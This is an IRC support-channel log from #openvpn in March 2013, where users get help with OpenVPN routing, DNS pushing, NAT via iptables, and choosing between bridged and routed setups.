19:18 -!- kisom [~kisom@c-75dce155.648-1-64736c11.cust.bredbandsbolaget.se] has quit [Ping timeout: 250 seconds]
19:27 -!- levifig [~levifig@spwn.co] has quit [Excess Flood]
19:28 -!- levifig [~levifig@spwn.co] has joined #openvpn
19:28 -!- levifig [~levifig@spwn.co] has quit [Excess Flood]
19:29 -!- levifig [~levifig@spwn.co] has joined #openvpn
19:30 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Ping timeout: 256 seconds]
19:35 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
19:36 -!- gardar [~gardar@gardar.net] has quit [Remote host closed the connection]
19:40 -!- gardar [~gardar@gardar.net] has joined #openvpn
19:45 -!- raidz is now known as raidz_away
19:52 -!- kisom [~kisom@c-75dce155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn
20:06 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 264 seconds]
20:09 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
20:10 -!- vistas [~vistas@c-71-204-33-119.hsd1.ga.comcast.net] has joined #openvpn
20:15 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 276 seconds]
20:16 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
20:51 -!- levifig [~levifig@spwn.co] has quit [Excess Flood]
20:53 -!- levifig [~levifig@spwn.co] has joined #openvpn
20:54 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has quit [Read error: Operation timed out]
20:59 -!- MeanderingCode_ [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
21:00 -!- rob0 [rob0@harrier.slackbuilds.org] has joined #openvpn
21:00 -!- rob0 [rob0@harrier.slackbuilds.org] has quit [Changing host]
21:00 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has joined #openvpn
21:00 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Ping timeout: 276 seconds]
21:03 -!- CowboyPride [~chatzilla@unaffiliated/cowboypride] has joined #openvpn
21:03 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
21:03 < CowboyPride> I have a question. Under the best circumstances for hosting a OpenVPN Access Server behind a router, what is the recommended number of NIC interfaces.
21:05 < CowboyPride> Is there any benefit to having more than one physical interface for a server hosted behind a router on local network with port forwarding or DMZ router setup ?
21:06 -!- cafaroo [~gustaf@c213-89-175-69.bredband.comhem.se] has joined #openvpn
21:06 < pekster> !as
21:06 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
21:07 < pekster> We deal with the open-source OpenVPN project (the GPL project.) Access Server is commercial and unsupported in this channel
21:09 -!- zach__ [~zach@nat-192-95-29-123.bhs1.montreal.qbc.ca.nuked.co] has left #openvpn []
21:11 -!- cafaroo [~gustaf@c213-89-175-69.bredband.comhem.se] has quit [Ping timeout: 256 seconds]
21:13 < CowboyPride> Well the open source version is what I was looking at as well. It's a generic question to open vpn servers in general. Not limited toward the close source or open source versions.
21:14 < pekster> Other than some use-case with HA or failover, multiple physical NICs doesn't really do you any good
21:15 < pekster> If you support multiple subnets, another NIC could help connect to different ports on a switch (of course you can use 802.1q to the same effect with a single NIC too)
21:16 < pekster> OpenVPN abstracts the network connection in the form of a virtual tun or tap tunnel to your peer. How you get the packets there across the "real" network infrastructure is no different than dealing with web, or IRC, or any other form of IP traffic
21:21 <+soapee01> CowbowPride: http://en.wikipedia.org/wiki/Link_aggregation
21:21 <@vpnHelper> Title: Link aggregation - Wikipedia, the free encyclopedia (at en.wikipedia.org)
21:26 < CowboyPride> Ok thanks.. I was looking into purchasing a Ultra Slim Desktop for my VPN server but didn't know if I should get one with dual nics or single nic
21:27 -!- nonotza [~nonotza@cpe-74-73-232-198.nyc.res.rr.com] has quit [Quit: nonotza]
21:27 < pekster> Single-NIC is fine unless you have exotic needs like interface bonding, need to support a NIC failing on you, or something like that
21:28 -!- MeanderingCode_ [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Ping timeout: 260 seconds]
21:28 < CowboyPride> The only other reason I could think of having dual nics is if you were to host the VPN server on public internet if had multiple ips.
21:28 < CowboyPride> which I'm guessing is a a recommeded setup when security is a concern.
21:29 < pekster> There again, it depends on implementaion. I talked with a guy in another channel here that used a Ras Pi as his router by using VLAN tagging to a VLAN-aware switch, so there are always different solutions depending on your needs
21:31 < CowboyPride> I have been thinking about my setup an which way to go about it. I was thinking of either having my servers and my lan on the same subnet or separating my internal servers from my lan with a switch and then having the VPN server route traffic for them both for the local lan and remote vpn access.
21:31 < CowboyPride> The latter setup would a be a good learning experience I think...
21:32 < CowboyPride> And would allow me to segregate my internal servers from my home lan
21:32 < CowboyPride> but I really don't know...
21:33 < CowboyPride> I am wanting to experiment with OpenVPN and also give myself remote access to my lan and internal servers as well as provide a site-to-site vpn to my parents lan.
21:35 < CowboyPride> I could use LogMeIn vpn solution but I don't want to have to require my parents to leave their computer on all the time since they prefer to shut it off, but I could find other uses for the site-to-site vpn with a dedicate OpenVPN setup...
21:36 < CowboyPride> I've been thinking about it alot but haven't settled on how I want to go about my setup.
21:37 < CowboyPride> LogMeIn himachi though isn't what I want though, I prefer OpenVPN I think over himachi
21:39 < pekster> You're not likely to get the advice you're hoping for on how to architect your network here. ##networking might be more appropriate, but this channel is designed to provide OpenVPN-specific information
21:40 < CowboyPride> ok, thanks.
21:55 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
22:19 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
22:26 <@EugeneKay> !fail2ban
22:27 <@vpnHelper> "fail2ban" is in linux you can replace fail2ban without the background process with something like: iptables -A INPUT -m tcp -p tcp --dport 22 -m hashlimit --hashlimit-name ssh --hashlimit-upto 5/minute --hashlimit-mode srcip --hashlimit-srcmask 24 -j ACCEPT
22:48 -!- eHAPPY [~V1CE@ip174-73-3-95.no.no.cox.net] has quit [Read error: Connection reset by peer]
22:51 -!- eHAPPY [~V1CE@ip174-73-3-95.no.no.cox.net] has joined #openvpn
23:30 < Dennis84> good morning
23:40 -!- Orbi [~opera@93.182.147.76] has joined #openvpn
23:41 -!- Orbi [~opera@93.182.147.76] has left #openvpn []
--- Day changed Fri Mar 08 2013
00:09 -!- daemoen [~daemoen@216.245.201.138] has quit [Ping timeout: 250 seconds]
00:22 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Read error: Operation timed out]
00:25 -!- Wulf [~Wulf@unaffiliated/wulf] has joined #openvpn
00:41 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Read error: Connection reset by peer]
00:43 < Dennis84> hi Wulf
00:43 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
00:45 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Remote host closed the connection]
00:45 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
01:05 -!- cafaroo [~gustaf@c80-216-25-207.bredband.comhem.se] has joined #openvpn
01:07 -!- novaflash is now known as novaflash_away
01:26 -!- novaflash_away is now known as novaflash
01:53 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
02:07 -!- ade_b [~Ade@koln-5d81459c.pool.mediaWays.net] has joined #openvpn
02:07 -!- ade_b [~Ade@koln-5d81459c.pool.mediaWays.net] has quit [Changing host]
02:07 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
02:10 -!- xtz [xtz@DeathStar.Techn0.eu] has joined #openvpn
02:24 -!- JackWinter [~jack@ppp-256.vo.lu] has left #openvpn ["Konversation terminated!"]
02:27 -!- JackWinter [~jack@ppp-256.vo.lu] has joined #openvpn
02:27 -!- dazo_afk is now known as dazo
02:37 -!- JackSparrow [~death@2001:41d0:1:d4e5:1234:1234:1234:1234] has quit [Ping timeout: 264 seconds]
02:38 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has joined #openvpn
02:39 < Wulf> Dennis84: hi
02:40 < Wulf> Dennis84: looks like race conditions where timed events are involved. Will have another look at it on the weekend
02:41 -!- Mcloven__ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
02:43 -!- knobo [~user@ti0125a380-1018.bb.online.no] has quit [Disconnected by services]
02:52 < Dennis84> Wulf: ok great
02:53 < Dennis84> thanks alot :)
03:00 -!- ben1066 [~quassel@unaffiliated/ben1066] has quit [Read error: Connection reset by peer]
03:04 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
03:23 -!- zz_AsadH is now known as AsadH
03:27 -!- Webhostbudd_ [~Webhostbu@c-24-7-197-240.hsd1.il.comcast.net] has quit [Quit: Leaving]
03:30 -!- Varazir [~mircwars@c-94-255-130-47.cust.bredband2.com] has quit [Ping timeout: 240 seconds]
03:33 -!- mete [~mete@mete.shell.la] has joined #openvpn
03:38 -!- dekroning [~dekroning@185.10.50.9] has joined #openvpn
03:39 < dekroning> how does openvpn redirect all traffic throught the vpn? because I don't see my default route changed, when i'm connected as a client
03:43 -!- Varazir [~mircwars@c-94-255-130-47.cust.bredband2.com] has joined #openvpn
03:44 < Wulf> dekroning: why do you think that it routes the traffic through your vpn?
03:53 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has joined #openvpn
03:55 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 276 seconds]
03:55 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
03:56 -!- JSharpe [~JSharpe@46.165.221.13] has joined #openvpn
03:59 -!- newbie [~kvirc@HSI-KBW-046-005-044-083.hsi8.kabel-badenwuerttemberg.de] has joined #openvpn
03:59 -!- newbie is now known as Guest48444
04:04 -!- dekroning [~dekroning@185.10.50.9] has quit [Ping timeout: 255 seconds]
04:05 -!- CowboyPride [~chatzilla@unaffiliated/cowboypride] has quit [Quit: ChatZilla 0.9.90 [Firefox 19.0/20130215130331]]
04:06 -!- dekroning [~dekroning@vpn.cttinnovations.net] has joined #openvpn
04:12 -!- Guest48444 [~kvirc@HSI-KBW-046-005-044-083.hsi8.kabel-badenwuerttemberg.de] has quit [Quit: KVIrc 4.0.2 Insomnia http://www.kvirc.net/]
04:12 -!- TMcTrain [~kvirc@HSI-KBW-046-005-044-083.hsi8.kabel-badenwuerttemberg.de] has joined #openvpn
04:31 -!- dekroning [~dekroning@vpn.cttinnovations.net] has quit [Read error: Connection reset by peer]
04:31 -!- dekroning [~dekroning@D57E6B92.static.ziggozakelijk.nl] has joined #openvpn
04:31 -!- kmmndr [~tomtom@bro67-2-82-227-110-8.fbx.proxad.net] has joined #openvpn
04:31 < kmmndr> hi all :-)
04:34 -!- dekroning [~dekroning@D57E6B92.static.ziggozakelijk.nl] has quit [Read error: Operation timed out]
04:34 < kmmndr> We are using openvpn on debian, that's almost perfect for our needs excepts one thing
04:34 < kmmndr> I haven't found any way to push DNS rule
04:34 < kmmndr> push "dhcp-option DNS .." doesn't seems to work
04:35 < kmmndr> has anyone ever experienced such problem ?
04:35 < MacGyver> Right, so, since my questions yesterday were unanswered:
04:35 < MacGyver> First, if I run OpenVPN on the client not in daemon mode, and drop privileges after startup, how can I ever get it to cleanly remove its routes when closing the tunnel using ctrl+C?
04:35 < MacGyver>  Second, suppose I'm on a network whose DNS I want to continue to use, but *only* for the domain "localdomain", and for all others I want to use the pushed DNS. Furthermore, as soon as the VPN closes, the domains DNS-server should be used again for all domains. Is there any easy way to do that, or am I going to have to use dnsmasq or similar solutions?
04:36 -!- dekroning [~dekroning@vpn.cttinnovations.net] has joined #openvpn
04:38 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
04:40 -!- dekroning [~dekroning@vpn.cttinnovations.net] has quit [Read error: Connection reset by peer]
04:41 -!- dekroning [~dekroning@vpn.cttinnovations.net] has joined #openvpn
05:09 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
05:13 -!- idlecool [~i@sd.gs] has left #openvpn ["Linkinus - http://linkinus.com"]
05:18 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 255 seconds]
05:27 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 276 seconds]
05:30 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
05:32 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
05:34 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 256 seconds]
05:35 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
05:38 -!- hg_5_ [~chatzilla@91.234.245.245] has joined #openvpn
05:40 -!- abec0 [olivier@vvma.net] has joined #openvpn
05:41 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 252 seconds]
05:44 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
05:44 -!- hg_5_ [~chatzilla@91.234.245.245] has quit [Ping timeout: 276 seconds]
05:46 -!- hg_5_ [~chatzilla@91.234.245.245] has joined #openvpn
05:49 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 260 seconds]
05:55 -!- Porkepix [~Porkepix@net-2-40-85-103.cust.dsl.teletu.it] has quit [Quit: Computer has gone to sleep.]
05:59 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
06:22 < kisom> Morning
06:35 -!- dekronin1 [~dekroning@D57E6B92.static.ziggozakelijk.nl] has joined #openvpn
06:38 -!- dekroning [~dekroning@vpn.cttinnovations.net] has quit [Ping timeout: 245 seconds]
06:38 <@EugeneKay> MacGyver - magic, basically.
06:38 <@EugeneKay> !unpriv
06:38 <@vpnHelper> "unpriv" is see https://community.openvpn.net/openvpn/wiki/UnprivilegedUser for a write-up by EugeneKay on how to run OpenVPN without root/admin permissions.
06:39 <@EugeneKay> MacGyver - for the second question; no, you'll need to use something protocol-aware. My experience is that dnsmasq is a pile of turds; your mileage may vary.
06:40 -!- dekronin1 [~dekroning@D57E6B92.static.ziggozakelijk.nl] has quit [Ping timeout: 250 seconds]
06:40 -!- dekroning [~dekroning@vps3.cttinnovations.net] has joined #openvpn
06:45 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 245 seconds]
06:48 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
06:53 -!- dekronin1 [~dekroning@D57E6B92.static.ziggozakelijk.nl] has joined #openvpn
06:56 -!- dekroning [~dekroning@vps3.cttinnovations.net] has quit [Ping timeout: 248 seconds]
06:56 -!- Porkepix [~Porkepix@ks353551.kimsufi.com] has joined #openvpn
06:58 -!- dekronin1 [~dekroning@D57E6B92.static.ziggozakelijk.nl] has quit [Read error: Connection reset by peer]
07:04 -!- hg_5_ [~chatzilla@91.234.245.245] has quit [Ping timeout: 260 seconds]
07:06 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
07:06 < kmmndr> any idea for DNS push ?
07:06 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
07:07 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
07:21 -!- kisom [~kisom@c-75dce155.648-1-64736c11.cust.bredbandsbolaget.se] has quit [Ping timeout: 276 seconds]
07:23 -!- kisom [~kisom@c-75dce155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn
07:24 <@dazo> kmmndr: look at update-resolv scripts ... http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=tree;f=contrib/pull-resolv-conf/contrib/pull-resolv-conf;h=abb075de953ce2303bcf39ea8d265f008f152c91;hb=HEAD
07:24 <@vpnHelper> Title: SourceForge - openvpn/openvpn-testing.git/tree - contrib/pull-resolv-conf/contrib/pull-resolv-conf/ (at openvpn.git.sourceforge.net)
07:30 < kmmndr> dazo: thank you :-
07:30 < kmmndr> :-)
07:40 < kmmndr> dazo: that's a client side modification for linux
07:41 < kmmndr> but we also have windows clients
07:41 <@dazo> for windows you don't need that ... just push the DNS info, and the windows clients pick it up
07:42 < kmmndr> I'll try again on windows
07:42 < kmmndr> dazo: thanks :-)
07:50 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has quit [Quit: mirco]
07:57 -!- levifig [~levifig@spwn.co] has quit [Excess Flood]
07:59 -!- levifig [~levifig@spwn.co] has joined #openvpn
08:17 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 245 seconds]
08:17 -!- levifig [~levifig@spwn.co] has quit [Excess Flood]
08:19 -!- levifig [~levifig@spwn.co] has joined #openvpn
08:26 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
08:33 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 260 seconds]
08:37 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
08:45 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
09:04 -!- cafaroo [~gustaf@c80-216-25-207.bredband.comhem.se] has quit []
09:11 -!- KaiForce [~chatzilla@adsl-70-228-81-145.dsl.akrnoh.ameritech.net] has joined #openvpn
09:27 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
09:27 -!- mode/#openvpn [+o krzee] by ChanServ
09:29 -!- xtz [xtz@DeathStar.Techn0.eu] has quit [Quit: leaving]
09:39 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
09:41 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
09:43 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
09:51 -!- Porkepix [~Porkepix@ks353551.kimsufi.com] has quit [Read error: Operation timed out]
10:17 -!- HyperGlide [~HyperGlid@182.149.50.45] has joined #openvpn
10:18 -!- n00 [~n00@130.225.74.204] has joined #openvpn
10:19 < n00> !welcome
10:19 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum !wiki
10:19 <@vpnHelper> !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
10:19 < n00> !route
10:19 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind
10:19 <@vpnHelper> the server or client
10:21 < n00> !serverlan
10:21 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
10:22 < n00> !goal
10:22 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
10:32 -!- JacquesBH [~jacques@unaffiliated/jacquesbh] has joined #openvpn
10:32 < JacquesBH> Hi all :)
10:33 < JacquesBH> Yeah, I love IRC, because when you need something... there's always a chan
10:33 < JacquesBH> Hum, I'm on Mac. (Mountain Lion) and I've a Debian server... I tried to configure the OpenVPN server but it doesn't work
10:34 < JacquesBH> (on client)
10:34 <@ecrist> you're the one that just posted on twitter
10:35 < JacquesBH> yes :)
10:35 <@ecrist> !logs
10:35 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
10:36 <@ecrist> !configs
10:36 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
10:36 < JacquesBH> ok right. I'll do it now.
10:40 < JacquesBH> ecrist: server config http://pastebin.com/9B89Rjtz   OpenVPN 2.1.3 x86_64-pc-linux-gnu [SSL] [LZO2] [EPOLL] [PKCS11] [MH] [PF_INET6] [eurephia] built on Feb 21 2012
10:41 <@ecrist> JacquesBH: OpenVPN 2.3.0 is latest.  what you're using is really quite old
10:42 < JacquesBH> debian packages...
10:42 < pekster> !repo
10:42 <@vpnHelper> "repo" is openvpn runs some software repositories for your installing pleasure, http://community.openvpn.net/openvpn/wiki/OpenvpnSoftwareRepos
10:42 < JacquesBH> Ok I update my sources
10:42 < JacquesBH> then get back here with result :) thks
10:42 < pekster> That may not be the cause of your issue, but keep in mind that version is years out of date
10:42 < pekster> (in fact, unless you're trying to use a 2.2 or 2.3 centric feature, that's likely not the cause of your problem)
10:42 <@ecrist> no sense in starting your journey already out of date
10:43 < pekster> Yea
10:43 < pekster> Could be worse; I've seen 2.0.9 in here before :)
10:43 < pekster> Oh, and a case of 1.x too
10:43 <@ecrist> pekster: when I started this channel, that was current
10:43 <@ecrist> 2.0.9 was, not 1.x
10:44 < pekster> Yea, I remember the 2.0.9 days. And some build systems ~4 years back that had 2.0.9 as thte most recent version it supported without sorcery and goats
10:44 < pekster> At the time they were "only" 2 years out of date
10:46 < JacquesBH> ecrist: ok, updated, OpenVPN 2.3.0 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [EPOLL] [PKCS11] [eurephia] [MH] [IPv6] built on Mar  1 2013
10:46 < JacquesBH> I'll try again to connect..
10:46 < JacquesBH> So the problem is... I can connect, but DNS doesn't seem work
10:46 <@ecrist> right
10:47 <@ecrist> !configs
10:47 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
10:47 <@ecrist> need to see a client config as well as server
10:48 <@ecrist> JacquesBH: Are you configuring NAT on the server for VPN clients to get to the internet?
10:49 < JacquesBH> I just need a proxy... but Maybe later I'll use it for a network drive
10:49 <@ecrist> well, you're pushing redirect gateway, but not natting traffic for your users to get to the internet
10:49 < JacquesBH> ecrist: here the client http://pastebin.com/cKKSZ1Pr
10:49 <@ecrist> remove that line from your config, and things should "just work"
10:50 <@ecrist> you just want vpn clients to get to your 10.4.0.0/24 network, right?
10:50 < JacquesBH> hum... maybe :p I don't relly know
10:50 <@ecrist> !goal
10:50 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
10:50 < JacquesBH> It's the first time I use openvpn :)
10:51 < JacquesBH> Ok, I need to access the internet over the VPN :)
10:51 < JacquesBH> for now it's the main goal
10:51 <@ecrist> ok, then you need to setup NAT
10:51 <@ecrist> this is a debian box?
10:51 < JacquesBH> yep
10:51 <@ecrist> I know nothing of debian, but this might work for you:
10:51 <@ecrist> !linnat
10:51 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
10:52 < JacquesBH> hum... Can I pastebin my firewall ? :)
10:52 <@ecrist> we don't actually do firewall support in here
10:54 < pekster> #netfilter is the right place to go for netfilter/iptables tasks
10:54 < JacquesBH> Yes I know, but the last lines are for openvpn... I'm not sure about those lines because I found lot of stuff... http://pastebin.com/2LkKfAsk
10:54 < pekster> They also have some very good tutorials/info links in the first /TOPIC URL
10:54 < JacquesBH> ok I go on
10:54 <@ecrist> if you follow the vpnHelper comment, you should be able to figure it out, though.
10:54 -!- raidz_away is now known as raidz
10:55 < JacquesBH> I'm reading and trying same time
10:57 < JacquesBH> ecrist: so actually my iptables are empty
10:57 < JacquesBH> http://pastebin.com/rdRWUNtf
10:58 <@ecrist> be back in about an hour
10:58 -!- AsadH is now known as zz_AsadH
10:59 < JacquesBH> ok well
11:01 -!- kisom [~kisom@c-75dce155.648-1-64736c11.cust.bredbandsbolaget.se] has quit [Ping timeout: 248 seconds]
11:01 < n00> Hi guys, i'm trying to setup a "road-warrior"-setup, where the client is connected to the same subnet as our workstations(172.23.23/24). I'm running the OpenVPN server on a box with 2 NICs, the incomming connection is accepted on NIC1 (public ip), and i have bridged the second NIC eth1 with tap0 in br0. I can connect the client, and it is assigned a IP in the 172.23.23/24 subnet via openvpn
11:01 < n00> dchp. From the client I can ping the br0 ip - but i can ping local workstations. Furthermore from the server "ping -i br0 workstationIP" works fine. Any ideas on where to begin troubleshooting?
11:01 < n00> *but i CANT ping local workstations
11:02 < pekster> Probably the firewall on the VPN server not allowing the VPN clients to ping
11:02 < pekster> Any reason to bridge? routing is generally more efficient and less complicated
11:02 < pekster> !tunortap
11:02 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
11:03 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
11:03 < JacquesBH> guys ( ecrist ) it works  :')
11:04 < JacquesBH> it seems that empty iptables is not good... I relaunch my firewall and it works... I'm so bad.
11:05 < n00> pekster: not having to setup WINS, which I believe is depreciated ?
11:05 < pekster> So you're using bridging so NBNS broadcasts "just work" intead of setting up a proper DNS infrastructure?
11:06 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
11:07 < pekster> You don't need WINS even on a Windows network with correctly configured/managed DNS
11:07 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
11:07 < Valcorb> rb
11:09 < n00> pekster: let's say I have a correct DNS setup, which mode (routed/brigded) should i use if I want users to access windows shares ?
11:10 -!- Porkepix [~Porkepix@157.138.190.113] has joined #openvpn
11:15 -!- levifig [~levifig@spwn.co] has quit [Excess Flood]
11:16 -!- levifig [~levifig@spwn.co] has joined #openvpn
11:19 < n00> pekster: is it correctly understod that windows shares will work fine over routed
11:20 < pekster> Yup
11:21 < n00> pekster: and without WINS also?
11:21 < pekster> Although Windows does dumb things if you expect unqualifiedi names to resolve. Solutions include hacking around the "undocumented features" of the so-called 'DNS Search Suffix List' or using FQDNs along with your DNS setup
11:21 < pekster> Yes
11:22 < pekster> I've personally set up remote-access VPNs for a Windows domain without WINS in a routed setup
11:22 < pekster> So it can surely be done
11:23 < n00> well that was nice to hear indeed! I would much rather just VPN layer3 traffic
11:23 -!- HyperGlide [~HyperGlid@182.149.50.45] has quit [Remote host closed the connection]
11:24 < pekster> You'll generally need to push the internal DNS along with the domain name via the dhcp-option parameter. And if you'd better have some script-fu to get unqualififed stuff working
11:24 < pekster> I recommend against using unqualified names anyway if you run split-horizon DNS
11:28 -!- kisom [~kisom@c-75dce155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn
11:30 < n00> Okay cool. But regarding the bridged-mode solution, i'm kinda suspecting that my clients don't get a correct route to the IP's on the VPN'ed subnet. As far as I know i don't need to d any route push'ing when using bridged, is that correct?
11:33 < pekster> Right, it'll appear as on-link (assuming you fed them the right info via DHCP using --server-bridge or your on-subnet DHCP server, whatever you're using)
11:33 < pekster> You either have a firewall problem, or possibly a clash with the local network on the client side
11:38 < n00> pekster : yep it appears as on link(which is correct?). What could a "clash" be e.g?
11:39 < n00> pekster: btw. will I in a bridged mode, need ip_forwarding?
11:39 -!- Porkepix [~Porkepix@157.138.190.113] has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
11:39 < pekster> rfc1918 is not globally unique; nothing stops a remote LAN from using (part of) the same network
11:41 < pekster> You shouldn't need forwarding unless you want to expose other networks, but most OS's have a knob to allow firewalling on bridges
11:41 < n00> ah okay that kind of clash, that shouldn't be the problem
11:42 < n00> pekster: say i want the VPN client(172.23.23/24) to access a server on 172.22.22/24, and normal workstations on the 23.23 can access the servers. - Would i then need it?
11:43 -!- Porkepix [~Porkepix@157.138.190.113] has joined #openvpn
11:43 < pekster> !ipforward
11:43 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
11:46 < n00> this might be a silly question, but what about from well.. br to eth?
11:46 < n00> when tap0 and eth1 (access to client network) are bridged in br0
11:48 < pekster> br0 is the interface. Any bridge members are not "interfaces" as far as the OS cares at that point, just physical ports
